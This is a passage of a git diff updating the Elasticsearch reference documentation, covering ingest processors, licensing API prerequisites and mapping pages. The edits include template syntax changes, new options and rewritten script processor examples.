"{{{my_locale}}}" } } ] diff --git a/docs/reference/ingest/processors/dissect.asciidoc b/docs/reference/ingest/processors/dissect.asciidoc index b7c5fbaf952c5..6dff72af18481 100644 --- a/docs/reference/ingest/processors/dissect.asciidoc +++ b/docs/reference/ingest/processors/dissect.asciidoc @@ -6,7 +6,7 @@ Similar to the <>, dissect also extracts structured fields out of a single text field -within a document. However unlike the <>, dissect does not use +within a document. However unlike the <>, dissect does not use {wikipedia}/Regular_expression[Regular Expressions]. This allows dissect's syntax to be simple and for some cases faster than the <>. diff --git a/docs/reference/ingest/processors/dot-expand.asciidoc b/docs/reference/ingest/processors/dot-expand.asciidoc index 13cc6e7214572..4d6eb6106cc31 100644 --- a/docs/reference/ingest/processors/dot-expand.asciidoc +++ b/docs/reference/ingest/processors/dot-expand.asciidoc @@ -6,7 +6,7 @@ Expands a field with dots into an object field. This processor allows fields with dots in the name to be accessible by other processors in the pipeline. -Otherwise these <> can't be accessed by any processor. +Otherwise these fields can't be accessed by any processor. [[dot-expander-options]] .Dot Expand Options diff --git a/docs/reference/ingest/processors/enrich.asciidoc b/docs/reference/ingest/processors/enrich.asciidoc index 26fb2f1769c64..a7cd21a408663 100644 --- a/docs/reference/ingest/processors/enrich.asciidoc +++ b/docs/reference/ingest/processors/enrich.asciidoc @@ -15,8 +15,8 @@ See <> section for more information about how |====== | Name | Required | Default | Description | `policy_name` | yes | - | The name of the enrich policy to use. -| `field` | yes | - | The field in the input document that matches the policies match_field used to retrieve the enrichment data. Supports <>. -| `target_field` | yes | - | Field added to incoming documents to contain enrich data. This field contains both the `match_field` and `enrich_fields` specified in the <>. Supports <>. +| `field` | yes | - | The field in the input document that matches the policies match_field used to retrieve the enrichment data. Supports <>. +| `target_field` | yes | - | Field added to incoming documents to contain enrich data. This field contains both the `match_field` and `enrich_fields` specified in the <>. Supports <>. | `ignore_missing` | no | false | If `true` and `field` does not exist, the processor quietly exits without modifying the document | `override` | no | true | If processor will update fields with pre-existing non-null-valued field. When set to `false`, such fields will not be touched. | `max_matches` | no | 1 | The maximum number of matched documents to include under the configured target field. The `target_field` will be turned into a json array if `max_matches` is higher than 1, otherwise `target_field` will become a json object. In order to avoid documents getting too large, the maximum allowed value is 128. diff --git a/docs/reference/ingest/processors/fail.asciidoc b/docs/reference/ingest/processors/fail.asciidoc index 4446b941db3e4..c5241d7ddab70 100644 --- a/docs/reference/ingest/processors/fail.asciidoc +++ b/docs/reference/ingest/processors/fail.asciidoc @@ -13,7 +13,7 @@ to the requester. [options="header"] |====== | Name | Required | Default | Description -| `message` | yes | - | The error message thrown by the processor. Supports <>. +| `message` | yes | - | The error message thrown by the processor. Supports <>. include::common-options.asciidoc[] |====== @@ -22,7 +22,7 @@ include::common-options.asciidoc[] { "fail": { "if" : "ctx.tags.contains('production') != true", - "message": "The production tag is not present, found tags: {{tags}}" + "message": "The production tag is not present, found tags: {{{tags}}}" } } -------------------------------------------------- diff --git a/docs/reference/ingest/processors/fingerprint.asciidoc b/docs/reference/ingest/processors/fingerprint.asciidoc index 5a67a425f4da3..1d019ed6f97da 100644 --- a/docs/reference/ingest/processors/fingerprint.asciidoc +++ b/docs/reference/ingest/processors/fingerprint.asciidoc @@ -20,8 +20,9 @@ value. For other fields, the processor hashes only the field value. | `target_field` | no | `fingerprint` | Output field for the fingerprint. | `salt` | no | | {wikipedia}/Salt_(cryptography)[Salt value] for the hash function. -| `method` | no | `SHA-1` | The cryptographic hash function used to -compute the fingerprint. Must be one of `MD5`, `SHA-1`, `SHA-256`, or `SHA-512`. +| `method` | no | `SHA-1` | The hash method used to +compute the fingerprint. Must be one of `MD5`, `SHA-1`, `SHA-256`, `SHA-512`, or +`MurmurHash3`. | `ignore_missing` | no | `false` | If `true`, the processor ignores any missing `fields`. If all fields are missing, the processor silently exits without modifying the document. diff --git a/docs/reference/ingest/processors/geoip.asciidoc b/docs/reference/ingest/processors/geoip.asciidoc index f9d23f81fdff1..454c3ec2bbc35 100644 --- a/docs/reference/ingest/processors/geoip.asciidoc +++ b/docs/reference/ingest/processors/geoip.asciidoc @@ -15,8 +15,7 @@ The `geoip` processor can run with other city, country and ASN GeoIP2 databases from Maxmind. The database files must be copied into the `ingest-geoip` config directory located at `$ES_CONFIG/ingest-geoip`. Custom database files must be stored uncompressed and the extension must be `-City.mmdb`, `-Country.mmdb`, or -`-ASN.mmdb` to indicate the type of the database. These database files can not -have the same filename as any of the built-in database names. The +`-ASN.mmdb` to indicate the type of the database. The `database_file` processor option is used to specify the filename of the custom database to use for the processor. diff --git a/docs/reference/ingest/processors/grok.asciidoc b/docs/reference/ingest/processors/grok.asciidoc index 97403447d52dd..b04775f56bdcf 100644 --- a/docs/reference/ingest/processors/grok.asciidoc +++ b/docs/reference/ingest/processors/grok.asciidoc @@ -8,8 +8,6 @@ Extracts structured fields out of a single text field within a document. You cho extract matched fields from, as well as the grok pattern you expect will match. A grok pattern is like a regular expression that supports aliased expressions that can be reused. -This tool is perfect for syslog logs, apache and other webserver logs, mysql logs, and in general, any log format -that is generally written for humans and not computer consumption. This processor comes packaged with many https://github.com/elastic/elasticsearch/blob/{branch}/libs/grok/src/main/resources/patterns[reusable patterns]. @@ -17,43 +15,6 @@ If you need help building patterns to match your logs, you will find the {kibana-ref}/xpack-grokdebugger.html[Grok Debugger] tool quite useful! The https://grokconstructor.appspot.com[Grok Constructor] is also a useful tool. -[[grok-basics]] -==== Grok Basics - -Grok sits on top of regular expressions, so any regular expressions are valid in grok as well. -The regular expression library is Oniguruma, and you can see the full supported regexp syntax -https://github.com/kkos/oniguruma/blob/master/doc/RE[on the Oniguruma site]. - -Grok works by leveraging this regular expression language to allow naming existing patterns and combining them into more -complex patterns that match your fields. - -The syntax for reusing a grok pattern comes in three forms: `%{SYNTAX:SEMANTIC}`, `%{SYNTAX}`, `%{SYNTAX:SEMANTIC:TYPE}`. - -The `SYNTAX` is the name of the pattern that will match your text. For example, `3.44` will be matched by the `NUMBER` -pattern and `55.3.244.1` will be matched by the `IP` pattern. The syntax is how you match. `NUMBER` and `IP` are both -patterns that are provided within the default patterns set. - -The `SEMANTIC` is the identifier you give to the piece of text being matched. For example, `3.44` could be the -duration of an event, so you could call it simply `duration`. Further, a string `55.3.244.1` might identify -the `client` making a request. - -The `TYPE` is the type you wish to cast your named field. `int`, `long`, `double`, `float` and `boolean` are supported types for coercion. - -For example, you might want to match the following text: - -[source,txt] --------------------------------------------------- -3.44 55.3.244.1 --------------------------------------------------- - -You may know that the message in the example is a number followed by an IP address. You can match this text by using the following -Grok expression. - -[source,txt] --------------------------------------------------- -%{NUMBER:duration} %{IP:client} --------------------------------------------------- - [[using-grok]] ==== Using the Grok Processor in a Pipeline diff --git a/docs/reference/ingest/processors/inference.asciidoc b/docs/reference/ingest/processors/inference.asciidoc index bc08c512e8621..5b5cf66444eb0 100644 --- a/docs/reference/ingest/processors/inference.asciidoc +++ b/docs/reference/ingest/processors/inference.asciidoc @@ -6,7 +6,6 @@ {infer-cap} ++++ -beta::[] Uses a pre-trained {dfanalytics} model to infer against the data that is being ingested in the pipeline. @@ -17,7 +16,7 @@ ingested in the pipeline. [options="header"] |====== | Name | Required | Default | Description -| `model_id` | yes | - | (String) The ID of the model to load and infer against. +| `model_id` | yes | - | (String) The ID or alias for the trained model. | `target_field` | no | `ml.inference.` | (String) Field added to incoming documents to contain results objects. | `field_map` | no | If defined the model's default field map | (Object) Maps the document field names to the known field names of the model. This mapping takes precedence over any default mappings provided in the model configuration. | `inference_config` | no | The default settings defined in the model | (Object) Contains the inference type and its options. There are two types: <> and <>. diff --git a/docs/reference/ingest/processors/network-direction.asciidoc b/docs/reference/ingest/processors/network-direction.asciidoc index 21e91cf3e41f9..351c2ac51d446 100644 --- a/docs/reference/ingest/processors/network-direction.asciidoc +++ b/docs/reference/ingest/processors/network-direction.asciidoc @@ -3,7 +3,7 @@ [[network-direction-processor]] === Network direction processor ++++ -Network Direction +Network direction ++++ Calculates the network direction given a source IP address, destination IP @@ -21,8 +21,9 @@ only the `internal_networks` option must be specified. | `source_ip` | no | `source.ip` | Field containing the source IP address. | `destination_ip` | no | `destination.ip` | Field containing the destination IP address. | `target_field` | no | `network.direction` | Output field for the network direction. -| `internal_networks`| yes | | List of internal networks. Supports IPv4 and -IPv6 addresses and ranges in CIDR notation. Also supports the named ranges listed below. +| `internal_networks`| yes * | | List of internal networks. Supports IPv4 and +IPv6 addresses and ranges in CIDR notation. Also supports the named ranges listed below. These may be constructed with <>. * Must specify only one of `internal_networks` or `internal_networks_field`. +| `internal_networks_field`| no | | A field on the given document to read the `internal_networks` configuration from. | `ignore_missing` | no | `true` | If `true` and any required fields are missing, the processor quietly exits without modifying the document. @@ -30,6 +31,8 @@ the processor quietly exits without modifying the document. include::common-options.asciidoc[] |====== +One of either `internal_networks` or `internal_networks_field` must be specified. If `internal_networks_field` is specified, it follows the behavior specified by `ignore_missing`. + [float] [[supported-named-network-ranges]] ===== Supported named network ranges diff --git a/docs/reference/ingest/processors/pipeline.asciidoc b/docs/reference/ingest/processors/pipeline.asciidoc index adcb98d1cc94c..a9e0a7111ca74 100644 --- a/docs/reference/ingest/processors/pipeline.asciidoc +++ b/docs/reference/ingest/processors/pipeline.asciidoc @@ -11,7 +11,7 @@ Executes another pipeline. [options="header"] |====== | Name | Required | Default | Description -| `name` | yes | - | The name of the pipeline to execute. Supports <>. +| `name` | yes | - | The name of the pipeline to execute. Supports <>. include::common-options.asciidoc[] |====== diff --git a/docs/reference/ingest/processors/registered-domain.asciidoc b/docs/reference/ingest/processors/registered-domain.asciidoc new file mode 100644 index 0000000000000..86d00d4a8be4c --- /dev/null +++ b/docs/reference/ingest/processors/registered-domain.asciidoc @@ -0,0 +1,82 @@ +[role="xpack"] +[testenv="basic"] +[[registered-domain-processor]] +=== Registered domain processor +++++ +Registered domain +++++ + +Extracts the registered domain (also known as the effective top-level domain or +eTLD), sub-domain, and top-level domain from a fully qualified domain name +(FQDN). Uses the registered domains defined in the +https://publicsuffix.org/[Mozilla Public Suffix List]. + +[[registered-domain-options]] +.Registered Domain Options +[options="header"] +|====== +| Name | Required | Default | Description +| `field` | yes | | Field containing the source FQDN. +| `target_field` | no | `` | Object field containing +extracted domain components. If an ``, the processor adds +components to the document's root. +| `ignore_missing` | no | `true` | If `true` and any required fields +are missing, the processor quietly exits without modifying the document. + +include::common-options.asciidoc[] +|====== + +[discrete] +[[registered-domain-processor-ex]] +===== Examples + +The following example illustrates the use of the registered domain processor: + +[source,console] +---- +POST _ingest/pipeline/_simulate +{ + "pipeline": { + "processors": [ + { + "registered_domain": { + "field": "fqdn", + "target_field": "url" + } + } + ] + }, + "docs": [ + { + "_source": { + "fqdn": "www.example.ac.uk" + } + } + ] +} +---- + +Which produces the following result: + +[source,console-result] +---- +{ + "docs": [ + { + "doc": { + ... + "_source": { + "fqdn": "www.example.ac.uk", + "url": { + "subdomain": "www", + "registered_domain": "example.ac.uk", + "top_level_domain": "ac.uk", + "domain": "www.example.ac.uk" + } + } + } + } + ] +} +---- +// TESTRESPONSE[s/\.\.\./"_index":"_index","_id":"_id","_ingest":{"timestamp":$body.docs.0.doc._ingest.timestamp},/] diff --git a/docs/reference/ingest/processors/remove.asciidoc b/docs/reference/ingest/processors/remove.asciidoc index 57e785c2de764..6e9b4f24ff515 100644 --- a/docs/reference/ingest/processors/remove.asciidoc +++ b/docs/reference/ingest/processors/remove.asciidoc @@ -11,7 +11,7 @@ Removes existing fields. If one field doesn't exist, an exception will be thrown [options="header"] |====== | Name | Required | Default | Description -| `field` | yes | - | Fields to be removed. Supports <>. +| `field` | yes | - | Fields to be removed. Supports <>. | `ignore_missing` | no | `false` | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document include::common-options.asciidoc[] |====== diff --git a/docs/reference/ingest/processors/rename.asciidoc b/docs/reference/ingest/processors/rename.asciidoc index 538cfb048a8e1..9b0eeaa157d55 100644 --- a/docs/reference/ingest/processors/rename.asciidoc +++ b/docs/reference/ingest/processors/rename.asciidoc @@ -11,8 +11,8 @@ Renames an existing field. If the field doesn't exist or the new name is already [options="header"] |====== | Name | Required | Default | Description -| `field` | yes | - | The field to be renamed. Supports <>. -| `target_field` | yes | - | The new name of the field. Supports <>. +| `field` | yes | - | The field to be renamed. Supports <>. +| `target_field` | yes | - | The new name of the field. Supports <>. | `ignore_missing` | no | `false` | If `true` and `field` does not exist, the processor quietly exits without modifying the document include::common-options.asciidoc[] |====== diff --git a/docs/reference/ingest/processors/script.asciidoc b/docs/reference/ingest/processors/script.asciidoc index 48cd16659f037..72a18db475a2d 100644 --- a/docs/reference/ingest/processors/script.asciidoc +++ b/docs/reference/ingest/processors/script.asciidoc @@ -4,99 +4,158 @@ Script ++++ -Allows inline and stored scripts to be executed within ingest pipelines. +Runs an inline or stored <> on incoming documents. The +script runs in the {painless}/painless-ingest-processor-context.html[`ingest`] +context. -See <> to learn more about writing scripts. The Script Processor -leverages caching of compiled scripts for improved performance. Since the -script specified within the processor is potentially re-compiled per document, it is important -to understand how script caching works. To learn more about -caching see <>. +The script processor uses the <> to avoid +recompiling the script for each incoming document. To improve performance, +ensure the script cache is properly sized before using a script processor in +production. [[script-options]] -.Script Options +.Script options [options="header"] |====== -| Name | Required | Default | Description -| `lang` | no | "painless" | The scripting language -| `id` | no | - | The stored script id to refer to -| `source` | no | - | An inline script to be executed -| `params` | no | - | Script Parameters +| Name | Required | Default | Description +| `lang` | no | "painless" | <>. +| `id` | no | - | ID of a <>. + If no `source` is specified, this parameter is required. +| `source` | no | - | Inline script. + If no `id` is specified, this parameter is required. +| `params` | no | - | Object containing parameters for the script. include::common-options.asciidoc[] |====== -One of `id` or `source` options must be provided in order to properly reference a script to execute. +[discrete] +[[script-processor-access-source-fields]] +==== Access source fields -You can access the current ingest document from within the script context by using the `ctx` variable. +The script processor parses each incoming document's JSON source fields into a +set of maps, lists, and primitives. To access these fields with a Painless +script, use the +{painless}/painless-operators-reference.html#map-access-operator[map access +operator]: `ctx['my-field']`. You can also use the shorthand `ctx.` +syntax. -The following example sets a new field called `field_a_plus_b_times_c` to be the sum of two existing -numeric fields `field_a` and `field_b` multiplied by the parameter param_c: +NOTE: The script processor does not support the `ctx['_source']['my-field']` or +`ctx._source.` syntaxes. -[source,js] --------------------------------------------------- +The following processor uses a Painless script to extract the `tags` field from +the `env` source field. + +[source,console] +---- +POST _ingest/pipeline/_simulate { - "script": { - "lang": "painless", - "source": "ctx.field_a_plus_b_times_c = (ctx.field_a + ctx.field_b) * params.param_c", - "params": { - "param_c": 10 + "pipeline": { + "processors": [ + { + "script": { + "description": "Extract 'tags' from 'env' field", + "lang": "painless", + "source": """ + String[] envSplit = ctx['env'].splitOnToken(params['delimiter']); + ArrayList tags = new ArrayList(); + tags.add(envSplit[params['position']].trim()); + ctx['tags'] = tags; + """, + "params": { + "delimiter": "-", + "position": 1 + } + } + } + ] + }, + "docs": [ + { + "_source": { + "env": "es01-prod" + } } - } + ] } --------------------------------------------------- -// NOTCONSOLE +---- -It is possible to use the Script Processor to manipulate document metadata like `_index` during -ingestion. Here is an example of an Ingest Pipeline that renames the index to `my-index` no matter what -was provided in the original index request: +The processor produces: -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/my-index +[source,console-result] +---- { - "description": "use index:my-index", - "processors": [ + "docs": [ { - "script": { - "source": """ - ctx._index = 'my-index'; - """ + "doc": { + ... + "_source": { + "env": "es01-prod", + "tags": [ + "prod" + ] + } } } ] } --------------------------------------------------- +---- +// TESTRESPONSE[s/\.\.\./"_index":"_index","_id":"_id","_ingest":{"timestamp":$body.docs.0.doc._ingest.timestamp},/] -Using the above pipeline, we can attempt to index a document into the `any-index` index. + +[discrete] +[[script-processor-access-metadata-fields]] +==== Access metadata fields + +You can also use a script processor to access metadata fields. The following +processor uses a Painless script to set an incoming document's `_index`. [source,console] --------------------------------------------------- -PUT any-index/_doc/1?pipeline=my-index +---- +POST _ingest/pipeline/_simulate { - "message": "text" + "pipeline": { + "processors": [ + { + "script": { + "description": "Set index based on `lang` field and `dataset` param", + "lang": "painless", + "source": """ + ctx['_index'] = ctx['lang'] + '-' + params['dataset']; + """, + "params": { + "dataset": "catalog" + } + } + } + ] + }, + "docs": [ + { + "_index": "generic-index", + "_source": { + "lang": "fr" + } + } + ] } --------------------------------------------------- -// TEST[continued] +---- -The response from the above index request: +The processor changes the document's `_index` to `fr-catalog` from +`generic-index`. [source,console-result] --------------------------------------------------- +---- { - "_index": "my-index", - "_id": "1", - "_version": 1, - "result": "created", - "_shards": { - "total": 2, - "successful": 1, - "failed": 0 - }, - "_seq_no": 89, - "_primary_term": 1, + "docs": [ + { + "doc": { + ... + "_index": "fr-catalog", + "_source": { + "lang": "fr" + } + } + } + ] } --------------------------------------------------- -// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/] - -In the above response, you can see that our document was actually indexed into `my-index` instead of -`any-index`. This type of manipulation is often convenient in pipelines that have various branches of transformation, -and depending on the progress made, indexed into different indices. +---- +// TESTRESPONSE[s/\.\.\./"_id":"_id","_ingest":{"timestamp":$body.docs.0.doc._ingest.timestamp},/] diff --git a/docs/reference/ingest/processors/set-security-user.asciidoc b/docs/reference/ingest/processors/set-security-user.asciidoc index cd348e2d9bcf8..3213157827627 100644 --- a/docs/reference/ingest/processors/set-security-user.asciidoc +++ b/docs/reference/ingest/processors/set-security-user.asciidoc @@ -8,7 +8,8 @@ Sets user-related details (such as `username`, `roles`, `email`, `full_name`, `metadata`, `api_key`, `realm` and `authentication_type`) from the current authenticated user to the current document by pre-processing the ingest. The `api_key` property exists only if the user authenticates with an -API key. It is an object containing the `id` and `name` fields of the API key. +API key. It is an object containing the `id`, `name` and `metadata` +(if it exists and is non-empty) fields of the API key. The `realm` property is also an object with two fields, `name` and `type`. When using API key authentication, the `realm` property refers to the realm from which the API key is created. diff --git a/docs/reference/ingest/processors/set.asciidoc b/docs/reference/ingest/processors/set.asciidoc index 1220928057442..4d735d12a174a 100644 --- a/docs/reference/ingest/processors/set.asciidoc +++ b/docs/reference/ingest/processors/set.asciidoc @@ -12,12 +12,12 @@ its value will be replaced with the provided one. [options="header"] |====== | Name | Required | Default | Description -| `field` | yes | - | The field to insert, upsert, or update. Supports <>. -| `value` | yes* | - | The value to be set for the field. Supports <>. May specify only one of `value` or `copy_from`. +| `field` | yes | - | The field to insert, upsert, or update. Supports <>. +| `value` | yes* | - | The value to be set for the field. Supports <>. May specify only one of `value` or `copy_from`. | `copy_from` | no | - | The origin field which will be copied to `field`, cannot set `value` simultaneously. Supported data types are `boolean`, `number`, `array`, `object`, `string`, `date`, etc. | `override` | no | `true` | If processor will update fields with pre-existing non-null-valued field. When set to `false`, such fields will not be touched. -| `ignore_empty_value` | no | `false` | If `true` and `value` is a <> that evaluates to `null` or the empty string, the processor quietly exits without modifying the document -| `media_type` | no | `application/json` | The media type for encoding `value`. Applies only when `value` is a <>. Must be one of `application/json`, `text/plain`, or `application/x-www-form-urlencoded`. +| `ignore_empty_value` | no | `false` | If `true` and `value` is a <> that evaluates to `null` or the empty string, the processor quietly exits without modifying the document +| `media_type` | no | `application/json` | The media type for encoding `value`. Applies only when `value` is a <>. Must be one of `application/json`, `text/plain`, or `application/x-www-form-urlencoded`. include::common-options.asciidoc[] |====== @@ -44,7 +44,7 @@ PUT _ingest/pipeline/set_os { "set": { "field": "host.os.name", - "value": "{{os}}" + "value": "{{{os}}}" } } ] diff --git a/docs/reference/ingest/processors/sort.asciidoc b/docs/reference/ingest/processors/sort.asciidoc index 81999d2d903b0..969a93ebd18f5 100644 --- a/docs/reference/ingest/processors/sort.asciidoc +++ b/docs/reference/ingest/processors/sort.asciidoc @@ -4,7 +4,7 @@ Sort ++++ -Sorts the elements of an array ascending or descending. Homogeneous arrays of numbers will be sorted +Sorts the elements of an array ascending or descending. Homogeneous arrays of numbers will be sorted numerically, while arrays of strings or heterogeneous arrays of strings + numbers will be sorted lexicographically. Throws an error when the field is not an array. diff --git a/docs/reference/ingest/processors/user-agent.asciidoc b/docs/reference/ingest/processors/user-agent.asciidoc index b2a45b6395331..52dbb4b5b6366 100644 --- a/docs/reference/ingest/processors/user-agent.asciidoc +++ b/docs/reference/ingest/processors/user-agent.asciidoc @@ -21,6 +21,7 @@ The ingest-user-agent module ships by default with the regexes.yaml made availab | `target_field` | no | user_agent | The field that will be filled with the user agent details. | `regex_file` | no | - | The name of the file in the `config/ingest-user-agent` directory containing the regular expressions for parsing the user agent string. Both the directory and the file have to be created before starting Elasticsearch. If not specified, ingest-user-agent will use the regexes.yaml from uap-core it ships with (see below). | `properties` | no | [`name`, `major`, `minor`, `patch`, `build`, `os`, `os_name`, `os_major`, `os_minor`, `device`] | Controls what properties are added to `target_field`. +| `extract_device_type` | no | `false` | beta:[] Extracts device type from the user agent string on a best-effort basis. | `ignore_missing` | no | `false` | If `true` and `field` does not exist, the processor quietly exits without modifying the document |====== diff --git a/docs/reference/intro.asciidoc b/docs/reference/intro.asciidoc index 00f3cb9c695b5..a86ef841756e0 100644 --- a/docs/reference/intro.asciidoc +++ b/docs/reference/intro.asciidoc @@ -95,7 +95,7 @@ metadata, the real power comes from being able to easily access the full suite of search capabilities built on the Apache Lucene search engine library. {es} provides a simple, coherent REST API for managing your cluster and indexing -and searching your data. For testing purposes, you can easily submit requests +and searching your data. For testing purposes, you can easily submit requests directly from the command line or through the Developer Console in {kib}. From your applications, you can use the https://www.elastic.co/guide/en/elasticsearch/client/index.html[{es} client] diff --git a/docs/reference/licensing/delete-license.asciidoc b/docs/reference/licensing/delete-license.asciidoc index 04c095110cc61..8411230c66a0d 100644 --- a/docs/reference/licensing/delete-license.asciidoc +++ b/docs/reference/licensing/delete-license.asciidoc @@ -16,16 +16,18 @@ This API enables you to delete licensing information. [discrete] ==== Description -When your license expires, {xpack} operates in a degraded mode. For more +When your license expires, {xpack} operates in a degraded mode. For more information, see {kibana-ref}/managing-licenses.html#license-expiration[License expiration]. -[discrete] -==== Authorization +[[delete-license-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. -You must have `manage` cluster privileges to use this API. -For more information, see -<>. +* If the <> is enabled, only operator +users can use this API. [discrete] ==== Examples diff --git a/docs/reference/licensing/start-basic.asciidoc b/docs/reference/licensing/start-basic.asciidoc index 199e917a29211..e921db354987d 100644 --- a/docs/reference/licensing/start-basic.asciidoc +++ b/docs/reference/licensing/start-basic.asciidoc @@ -19,7 +19,7 @@ This API starts an indefinite basic license. The `start basic` API enables you to initiate an indefinite basic license, which gives access to all the basic features. If the basic license does not support all of the features that are available with your current license, however, you are -notified in the response. You must then re-submit the API request with the +notified in the response. You must then re-submit the API request with the `acknowledge` parameter set to `true`. To check the status of your basic license, use the following API: diff --git a/docs/reference/licensing/update-license.asciidoc b/docs/reference/licensing/update-license.asciidoc index 823f564331d29..1d87c38d03669 100644 --- a/docs/reference/licensing/update-license.asciidoc +++ b/docs/reference/licensing/update-license.asciidoc @@ -18,12 +18,15 @@ Updates the license for your {es} cluster. [[update-license-api-prereqs]] ==== {api-prereq-title} -If {es} {security-features} are enabled, you need `manage` cluster privileges to -install the license. +* If {es} {security-features} are enabled, you need `manage` +<> to install the license. -If {es} {security-features} are enabled and you are installing a gold or higher +* If {es} {security-features} are enabled and you are installing a gold or higher license, you must enable TLS on the transport networking layer before you -install the license. See <>. +install the license. See <>. + +* If the <> is enabled, only operator +users can use this API. [[update-license-api-desc]] ==== {api-description-title} diff --git a/docs/reference/links.asciidoc b/docs/reference/links.asciidoc index 11b6629d8672f..fb5215a8036c3 100644 --- a/docs/reference/links.asciidoc +++ b/docs/reference/links.asciidoc @@ -1,4 +1,4 @@ -// These attributes define common links in the Elasticsearch Reference +// These attributes define common links in the Elasticsearch Guide :ml-docs-setup: {ml-docs}/setup.html[Set up {ml-features}] :ml-docs-setup-privileges: {ml-docs}/setup.html#setup-privileges[{ml-cap} security privileges] diff --git a/docs/reference/mapping/dynamic/field-mapping.asciidoc b/docs/reference/mapping/dynamic/field-mapping.asciidoc index 9c47bd32d96b3..c3687c9d7e2c2 100644 --- a/docs/reference/mapping/dynamic/field-mapping.asciidoc +++ b/docs/reference/mapping/dynamic/field-mapping.asciidoc @@ -36,7 +36,7 @@ You can disable dynamic mapping, both at the document and at the `false` ignores new fields, and `strict` rejects the document if {es} encounters an unknown field. -TIP: Use the <> to update the `dynamic` +TIP: Use the <> to update the `dynamic` setting on existing fields. You can customize dynamic field mapping rules for @@ -49,7 +49,7 @@ fields, use <>. If `date_detection` is enabled (default), then new string fields are checked to see whether their contents match any of the date patterns specified in -`dynamic_date_formats`. If a match is found, a new <> field is +`dynamic_date_formats`. If a match is found, a new <> field is added with the corresponding format. The default value for `dynamic_date_formats` is: diff --git a/docs/reference/mapping/dynamic/templates.asciidoc b/docs/reference/mapping/dynamic/templates.asciidoc index 6151bdbc86a5c..9bb0f440ad285 100644 --- a/docs/reference/mapping/dynamic/templates.asciidoc +++ b/docs/reference/mapping/dynamic/templates.asciidoc @@ -14,6 +14,10 @@ name * <> operate on the full dotted path to the field +* If a dynamic template doesn't define `match_mapping_type`, `match`, or +`path_match`, it won't match any field. You can still refer to the template by +name in `dynamic_templates` section of a <>. + Use the `{name}` and `{dynamic_type}` <> in the mapping specification as placeholders. @@ -30,7 +34,7 @@ Dynamic templates are specified as an array of named objects: "dynamic_templates": [ { "my_template_name": { <1> - ... match conditions ... <2> + ... match conditions ... <2> "mapping": { ... } <3> } }, @@ -61,7 +65,7 @@ snippet may cause the update or validation of a dynamic template to fail under c at index time. Templates are processed in order -- the first matching template wins. When -putting new dynamic templates through the <> API, +putting new dynamic templates through the <> API, all existing templates are overwritten. This allows for dynamic templates to be reordered or deleted after they were initially added. @@ -287,7 +291,7 @@ PUT my-index-000001/_doc/2 ==== Template variables The `{name}` and `{dynamic_type}` placeholders are replaced in the `mapping` -with the field name and detected dynamic type. The following example sets all +with the field name and detected dynamic type. The following example sets all string fields to use an <> with the same name as the field, and disables <> for all non-string fields: diff --git a/docs/reference/mapping/explicit-mapping.asciidoc b/docs/reference/mapping/explicit-mapping.asciidoc index 4ef055d5699ce..ba2d9ec166766 100644 --- a/docs/reference/mapping/explicit-mapping.asciidoc +++ b/docs/reference/mapping/explicit-mapping.asciidoc @@ -38,7 +38,7 @@ PUT /my-index-000001 [[add-field-mapping]] === Add a field to an existing mapping -You can use the <> API to add one or more new +You can use the <> API to add one or more new fields to an existing index. The following example adds `employee-id`, a `keyword` field with an diff --git a/docs/reference/mapping/fields.asciidoc b/docs/reference/mapping/fields.asciidoc index d2625c506f565..6a2b4d35b9fd6 100644 --- a/docs/reference/mapping/fields.asciidoc +++ b/docs/reference/mapping/fields.asciidoc @@ -2,7 +2,7 @@ == Metadata fields Each document has metadata associated with it, such as the `_index` -and `_id` metadata fields. The behavior of some of these metadata +and `_id` metadata fields. The behavior of some of these metadata fields can be customized when a mapping is created. [discrete] @@ -62,6 +62,10 @@ fields can be customized when a mapping is created. Application specific metadata. +<>:: + + The current data tier preference of the index to which the document belongs. + include::fields/doc-count-field.asciidoc[] include::fields/field-names-field.asciidoc[] @@ -77,3 +81,5 @@ include::fields/meta-field.asciidoc[] include::fields/routing-field.asciidoc[] include::fields/source-field.asciidoc[] + +include::fields/tier-field.asciidoc[] diff --git a/docs/reference/mapping/fields/field-names-field.asciidoc b/docs/reference/mapping/fields/field-names-field.asciidoc index 999d3f7049dfd..fe3fd55c279b6 100644 --- a/docs/reference/mapping/fields/field-names-field.asciidoc +++ b/docs/reference/mapping/fields/field-names-field.asciidoc @@ -2,7 +2,7 @@ === `_field_names` field The `_field_names` field used to index the names of every field in a document that -contains any value other than `null`. This field was used by the +contains any value other than `null`. This field was used by the <> query to find documents that either have or don't have any non-+null+ value for a particular field. diff --git a/docs/reference/mapping/fields/ignored-field.asciidoc b/docs/reference/mapping/fields/ignored-field.asciidoc index c22e639889259..0404d3d3a6f99 100644 --- a/docs/reference/mapping/fields/ignored-field.asciidoc +++ b/docs/reference/mapping/fields/ignored-field.asciidoc @@ -1,8 +1,6 @@ [[mapping-ignored-field]] === `_ignored` field -added[6.4.0] - The `_ignored` field indexes and stores the names of every field in a document that has been ignored because it was malformed and <> was turned on. diff --git a/docs/reference/mapping/fields/index-field.asciidoc b/docs/reference/mapping/fields/index-field.asciidoc index 87e55e992c297..89f004915a19a 100644 --- a/docs/reference/mapping/fields/index-field.asciidoc +++ b/docs/reference/mapping/fields/index-field.asciidoc @@ -58,7 +58,7 @@ GET index_1,index_2/_search <4> Accessing the `_index` field in scripts The `_index` field is exposed virtually -- it is not added to the Lucene index -as a real field. This means that you can use the `_index` field in a `term` or +as a real field. This means that you can use the `_index` field in a `term` or `terms` query (or any query that is rewritten to a `term` query, such as the `match`, `query_string` or `simple_query_string` query), as well as `prefix` and `wildcard` queries. However, it does not support `regexp` and `fuzzy` diff --git a/docs/reference/mapping/fields/meta-field.asciidoc b/docs/reference/mapping/fields/meta-field.asciidoc index 141a5de7258d3..64113f3766dec 100644 --- a/docs/reference/mapping/fields/meta-field.asciidoc +++ b/docs/reference/mapping/fields/meta-field.asciidoc @@ -25,7 +25,7 @@ PUT my-index-000001 <> API. The `_meta` field can be updated on an existing type using the -<> API: +<> API: [source,console] -------------------------------------------------- diff --git a/docs/reference/mapping/fields/routing-field.asciidoc b/docs/reference/mapping/fields/routing-field.asciidoc index 0da9f2469e709..a53d460e4f36c 100644 --- a/docs/reference/mapping/fields/routing-field.asciidoc +++ b/docs/reference/mapping/fields/routing-field.asciidoc @@ -9,7 +9,7 @@ formula: The default value used for `_routing` 